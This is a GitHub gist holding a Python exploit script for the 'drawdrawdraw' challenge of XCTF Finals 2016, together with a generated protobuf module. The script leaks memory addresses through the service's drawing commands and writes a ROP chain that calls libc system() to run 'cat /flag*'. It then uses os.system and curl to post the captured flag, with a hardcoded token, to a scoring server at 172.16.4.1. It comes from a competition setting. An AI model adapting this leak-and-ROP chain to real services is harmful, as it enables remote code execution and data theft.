Created
July 20, 2016 04:43
-
-
Save Jinmo/81d3c6ab1f7862fdb4023bf24983fcb7 to your computer and use it in GitHub Desktop.
drawdrawdraw exploit on XCTF Finals 2016
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from transaction_pb2 import Transaction, Reply, Command | |
from rc4 import RC4 # https://github.com/bozhu/RC4-Python | |
import socket | |
import hexdump | |
import random | |
import struct | |
import telnetlib | |
import sys | |
LIBC_RET = 0x21f45 | |
SYSTEM = 0x46590 | |
p4 = lambda x: struct.pack("<L", x) | |
u4 = lambda x: struct.unpack("<L", x)[0] | |
p8 = lambda x: struct.pack("<Q", x) | |
u8 = lambda x: struct.unpack("<Q", x)[0] | |
HOST = '0.0.0.0' | |
PORT = 9000 | |
execcmd = 'echo ho; cat /flag*\n' | |
def run(HOST, PORT): | |
s = socket.create_connection((HOST, PORT)) | |
p = 0x00f88ea4c0f503ee5b16d72d1cb2dcc8f056b9365bce0140279b309b68d748f98be1d9e2c1b9260be691bb0d349ffeac2444f1a1a65bf9af1871c075748dd0c25dad93a707eb34eef262aae310adabac1270521c81f775989568088ee152838c60e1be2b545517a110c35826e52230f99e3946ac647f17ec2260cd6e0085debc8b | |
data = s.recv(128).encode('hex') | |
data = int(data, 16) | |
g_pow_x = data | |
g = 2 | |
y = random.randint(2, p - 1) | |
session_key = pow(g_pow_x, y, p) | |
# print hex(session_key) | |
# print hex(g_pow_x) | |
challenge = pow(g, y, p) | |
# print hex(challenge) | |
challenge_string = '' | |
for i in range(128): | |
challenge_string += chr(challenge & 0xff) | |
challenge /= 256 | |
session_key_string = '' | |
for i in range(128): | |
if session_key == 0: | |
session_key_string = session_key_string.ljust(128, '\x00') | |
break | |
session_key_string = chr(session_key & 0xff) + session_key_string | |
session_key /= 256 | |
s.send(challenge_string[::-1]) | |
def rw(x): | |
d = '' | |
while x not in d: | |
c = s.recv(1) | |
sys.stdout.write(c) | |
if c == '': | |
print 'socket error' | |
exit() | |
d += c | |
return d | |
def send(x): | |
data = '' | |
x = p4(len(x)) + x | |
for c, d in zip(x, RC4read): | |
data += chr(ord(c) ^ d) | |
s.send(data) | |
def read(): | |
data = '' | |
size = u4(str(bytearray([ord(x) ^ y for x, y in zip(s.recv(4), RC4write)]))) | |
if size > 0x100000: | |
print 'server tried DoS against us', hex(size) | |
exit() | |
for c, d in zip(range(size), RC4write): | |
c = s.recv(1) | |
data += chr(ord(c) ^ d) | |
data = bytes(data) | |
return data | |
RC4read = RC4(bytearray(session_key_string[:64])) | |
RC4write = RC4(bytearray(session_key_string[64:])) | |
t = Transaction() | |
r = random.randint(50, 100) | |
for i in range(r): | |
cmd = t.cmds.add() | |
cmd.action = Command.DRAW_DOT | |
cmd.x = random.randint(0, 63) | |
cmd.y = random.randint(0, 63) | |
cmd = t.cmds.add() | |
cmd.action = Command.CLEAR_ALL | |
cmd = t.cmds.add() | |
cmd.action = Command.DRAW_PATTERN | |
cmd.x = 0 | |
cmd.y = 0 | |
cmd.pattern_id = 25 | |
cmd = t.cmds.add() | |
cmd.action = Command.DRAW_PATTERN | |
cmd.x = 0 | |
cmd.y = 16 | |
cmd.pattern_id = 26 | |
cmd = t.cmds.add() | |
cmd.action = Command.VIEW | |
data = t.SerializeToString() | |
t.reply.message = 'a' | |
t.reply.type = 2 | |
t.reply.view = 'view' | |
send(data) | |
r = Reply() | |
r.ParseFromString(read()) | |
data = r.view[5:] | |
data = data.replace(' ', '0').replace('*', '1') | |
data = ''.join(row[:16][::-1] for row in data.split('\n')[:32]) | |
data = [int(data[i:i+8], 2) for i in range(0, len(data), 8)] | |
print len(data) | |
data = str(bytearray(data)) | |
data = ''.join([data[i:i+2][::-1] for i in range(0, len(data), 2)]) | |
#hexdump.hexdump(data) | |
#print `data` | |
data = [u8(data[i:i+8]) for i in range(0, len(data), 8)] | |
print map(hex, data), HOST | |
base = data[3] - 0x3dbc | |
libc_base = data[7] - LIBC_RET | |
print hex(base), hex(libc_base) | |
data2 = [base + 0x4175, base + 0x20c000, base + 0x4420, len(execcmd) + 1, base + 0x4C30, base + 0x4175, base + 0x20c000, libc_base + SYSTEM] | |
data1 = list(data)[:4] | |
data1[3] = base + 0x3f59 | |
payload1 = ''.join([p8(data1[i]) for i in range(len(data1))]) | |
payload2 = ''.join([p8(data2[i]) for i in range(len(data2))]) | |
t = Transaction() | |
cmd = t.cmds.add() | |
cmd.action = Command.CLEAR_ALL | |
for i in range(16): | |
for j in range(16): | |
if ord(payload1[i * 2 + j / 8]) & (1 << (j & 7)): | |
cmd = t.cmds.add() | |
cmd.action = Command.DRAW_DOT | |
cmd.x = j | |
cmd.y = i | |
for i in range(32): | |
for j in range(16): | |
if ord(payload2[i * 2 + j / 8]) & (1 << (j & 7)): | |
cmd = t.cmds.add() | |
cmd.action = Command.DRAW_DOT | |
cmd.x = j + 16 | |
cmd.y = i | |
cmd = t.cmds.add() | |
cmd.action = Command.SAVE_AS_PATTERN | |
cmd.x = 0 | |
cmd.y = 0 | |
cmd.pattern_id = 25 | |
cmd = t.cmds.add() | |
cmd.action = Command.SAVE_AS_PATTERN | |
cmd.x = 16 | |
cmd.y = 0 | |
cmd.pattern_id = 26 | |
cmd = t.cmds.add() | |
cmd.action = Command.SAVE_AS_PATTERN | |
cmd.x = 16 | |
cmd.y = 16 | |
cmd.pattern_id = 27 | |
cmd = t.cmds.add() | |
cmd.action = Command.END | |
data = t.SerializeToString() | |
send(data) | |
read() | |
s.send(execcmd + '\x00') | |
rw('ho\n') | |
token = rw('\n').strip() | |
return token | |
import os | |
import urllib2 | |
token = run(sys.argv[1], PORT) | |
import sys | |
os.system('curl http://172.16.4.1/Common/submitAnswer -d \'answer=%s&token=9edc17d82fdcd0954ae5c1e6b8560531\'; echo %s' % (token, sys.argv[1]) ) | |
print '=>', token | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Generated by the protocol buffer compiler. DO NOT EDIT! | |
# source: transaction.proto | |
from google.protobuf import descriptor as _descriptor | |
from google.protobuf import message as _message | |
from google.protobuf import reflection as _reflection | |
from google.protobuf import descriptor_pb2 | |
# @@protoc_insertion_point(imports) | |
DESCRIPTOR = _descriptor.FileDescriptor( | |
name='transaction.proto', | |
package='', | |
serialized_pb='\n\x11transaction.proto\"\xc4\x01\n\x07\x43ommand\x12\x1f\n\x06\x61\x63tion\x18\x01 \x02(\x0e\x32\x0f.Command.Action\x12\t\n\x01x\x18\x02 \x01(\x05\x12\t\n\x01y\x18\x03 \x01(\x05\x12\x12\n\npattern_id\x18\x04 \x01(\x05\"n\n\x06\x41\x63tion\x12\r\n\tCLEAR_ALL\x10\x00\x12\x0c\n\x08\x44RAW_DOT\x10\x01\x12\r\n\tCLEAR_DOT\x10\x02\x12\x13\n\x0fSAVE_AS_PATTERN\x10\x03\x12\x10\n\x0c\x44RAW_PATTERN\x10\x04\x12\x08\n\x04VIEW\x10\x05\x12\x07\n\x03\x45ND\x10\x06\"p\n\x05Reply\x12\x1e\n\x04type\x18\x01 \x02(\x0e\x32\x10.Reply.ReplyType\x12\x0c\n\x04view\x18\x02 \x01(\t\x12\x0f\n\x07message\x18\x03 \x01(\t\"(\n\tReplyType\x12\x08\n\x04VIEW\x10\x00\x12\x06\n\x02OK\x10\x01\x12\t\n\x05\x45RROR\x10\x02\"<\n\x0bTransaction\x12\x16\n\x04\x63mds\x18\x01 \x03(\x0b\x32\x08.Command\x12\x15\n\x05reply\x18\x02 \x01(\x0b\x32\x06.Reply') | |
_COMMAND_ACTION = _descriptor.EnumDescriptor( | |
name='Action', | |
full_name='Command.Action', | |
filename=None, | |
file=DESCRIPTOR, | |
values=[ | |
_descriptor.EnumValueDescriptor( | |
name='CLEAR_ALL', index=0, number=0, | |
options=None, | |
type=None), | |
_descriptor.EnumValueDescriptor( | |
name='DRAW_DOT', index=1, number=1, | |
options=None, | |
type=None), | |
_descriptor.EnumValueDescriptor( | |
name='CLEAR_DOT', index=2, number=2, | |
options=None, | |
type=None), | |
_descriptor.EnumValueDescriptor( | |
name='SAVE_AS_PATTERN', index=3, number=3, | |
options=None, | |
type=None), | |
_descriptor.EnumValueDescriptor( | |
name='DRAW_PATTERN', index=4, number=4, | |
options=None, | |
type=None), | |
_descriptor.EnumValueDescriptor( | |
name='VIEW', index=5, number=5, | |
options=None, | |
type=None), | |
_descriptor.EnumValueDescriptor( | |
name='END', index=6, number=6, | |
options=None, | |
type=None), | |
], | |
containing_type=None, | |
options=None, | |
serialized_start=108, | |
serialized_end=218, | |
) | |
_REPLY_REPLYTYPE = _descriptor.EnumDescriptor( | |
name='ReplyType', | |
full_name='Reply.ReplyType', | |
filename=None, | |
file=DESCRIPTOR, | |
values=[ | |
_descriptor.EnumValueDescriptor( | |
name='VIEW', index=0, number=0, | |
options=None, | |
type=None), | |
_descriptor.EnumValueDescriptor( | |
name='OK', index=1, number=1, | |
options=None, | |
type=None), | |
_descriptor.EnumValueDescriptor( | |
name='ERROR', index=2, number=2, | |
options=None, | |
type=None), | |
], | |
containing_type=None, | |
options=None, | |
serialized_start=292, | |
serialized_end=332, | |
) | |
_COMMAND = _descriptor.Descriptor( | |
name='Command', | |
full_name='Command', | |
filename=None, | |
file=DESCRIPTOR, | |
containing_type=None, | |
fields=[ | |
_descriptor.FieldDescriptor( | |
name='action', full_name='Command.action', index=0, | |
number=1, type=14, cpp_type=8, label=2, | |
has_default_value=False, default_value=0, | |
message_type=None, enum_type=None, containing_type=None, | |
is_extension=False, extension_scope=None, | |
options=None), | |
_descriptor.FieldDescriptor( | |
name='x', full_name='Command.x', index=1, | |
number=2, type=5, cpp_type=1, label=1, | |
has_default_value=False, default_value=0, | |
message_type=None, enum_type=None, containing_type=None, | |
is_extension=False, extension_scope=None, | |
options=None), | |
_descriptor.FieldDescriptor( | |
name='y', full_name='Command.y', index=2, | |
number=3, type=5, cpp_type=1, label=1, | |
has_default_value=False, default_value=0, | |
message_type=None, enum_type=None, containing_type=None, | |
is_extension=False, extension_scope=None, | |
options=None), | |
_descriptor.FieldDescriptor( | |
name='pattern_id', full_name='Command.pattern_id', index=3, | |
number=4, type=5, cpp_type=1, label=1, | |
has_default_value=False, default_value=0, | |
message_type=None, enum_type=None, containing_type=None, | |
is_extension=False, extension_scope=None, | |
options=None), | |
], | |
extensions=[ | |
], | |
nested_types=[], | |
enum_types=[ | |
_COMMAND_ACTION, | |
], | |
options=None, | |
is_extendable=False, | |
extension_ranges=[], | |
serialized_start=22, | |
serialized_end=218, | |
) | |
_REPLY = _descriptor.Descriptor( | |
name='Reply', | |
full_name='Reply', | |
filename=None, | |
file=DESCRIPTOR, | |
containing_type=None, | |
fields=[ | |
_descriptor.FieldDescriptor( | |
name='type', full_name='Reply.type', index=0, | |
number=1, type=14, cpp_type=8, label=2, | |
has_default_value=False, default_value=0, | |
message_type=None, enum_type=None, containing_type=None, | |
is_extension=False, extension_scope=None, | |
options=None), | |
_descriptor.FieldDescriptor( | |
name='view', full_name='Reply.view', index=1, | |
number=2, type=9, cpp_type=9, label=1, | |
has_default_value=False, default_value=unicode("", "utf-8"), | |
message_type=None, enum_type=None, containing_type=None, | |
is_extension=False, extension_scope=None, | |
options=None), | |
_descriptor.FieldDescriptor( | |
name='message', full_name='Reply.message', index=2, | |
number=3, type=9, cpp_type=9, label=1, | |
has_default_value=False, default_value=unicode("", "utf-8"), | |
message_type=None, enum_type=None, containing_type=None, | |
is_extension=False, extension_scope=None, | |
options=None), | |
], | |
extensions=[ | |
], | |
nested_types=[], | |
enum_types=[ | |
_REPLY_REPLYTYPE, | |
], | |
options=None, | |
is_extendable=False, | |
extension_ranges=[], | |
serialized_start=220, | |
serialized_end=332, | |
) | |
_TRANSACTION = _descriptor.Descriptor( | |
name='Transaction', | |
full_name='Transaction', | |
filename=None, | |
file=DESCRIPTOR, | |
containing_type=None, | |
fields=[ | |
_descriptor.FieldDescriptor( | |
name='cmds', full_name='Transaction.cmds', index=0, | |
number=1, type=11, cpp_type=10, label=3, | |
has_default_value=False, default_value=[], | |
message_type=None, enum_type=None, containing_type=None, | |
is_extension=False, extension_scope=None, | |
options=None), | |
_descriptor.FieldDescriptor( | |
name='reply', full_name='Transaction.reply', index=1, | |
number=2, type=11, cpp_type=10, label=1, | |
has_default_value=False, default_value=None, | |
message_type=None, enum_type=None, containing_type=None, | |
is_extension=False, extension_scope=None, | |
options=None), | |
], | |
extensions=[ | |
], | |
nested_types=[], | |
enum_types=[ | |
], | |
options=None, | |
is_extendable=False, | |
extension_ranges=[], | |
serialized_start=334, | |
serialized_end=394, | |
) | |
_COMMAND.fields_by_name['action'].enum_type = _COMMAND_ACTION | |
_COMMAND_ACTION.containing_type = _COMMAND; | |
_REPLY.fields_by_name['type'].enum_type = _REPLY_REPLYTYPE | |
_REPLY_REPLYTYPE.containing_type = _REPLY; | |
_TRANSACTION.fields_by_name['cmds'].message_type = _COMMAND | |
_TRANSACTION.fields_by_name['reply'].message_type = _REPLY | |
DESCRIPTOR.message_types_by_name['Command'] = _COMMAND | |
DESCRIPTOR.message_types_by_name['Reply'] = _REPLY | |
DESCRIPTOR.message_types_by_name['Transaction'] = _TRANSACTION | |
class Command(_message.Message): | |
__metaclass__ = _reflection.GeneratedProtocolMessageType | |
DESCRIPTOR = _COMMAND | |
# @@protoc_insertion_point(class_scope:Command) | |
class Reply(_message.Message): | |
__metaclass__ = _reflection.GeneratedProtocolMessageType | |
DESCRIPTOR = _REPLY | |
# @@protoc_insertion_point(class_scope:Reply) | |
class Transaction(_message.Message): | |
__metaclass__ = _reflection.GeneratedProtocolMessageType | |
DESCRIPTOR = _TRANSACTION | |
# @@protoc_insertion_point(class_scope:Transaction) | |
# @@protoc_insertion_point(module_scope) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment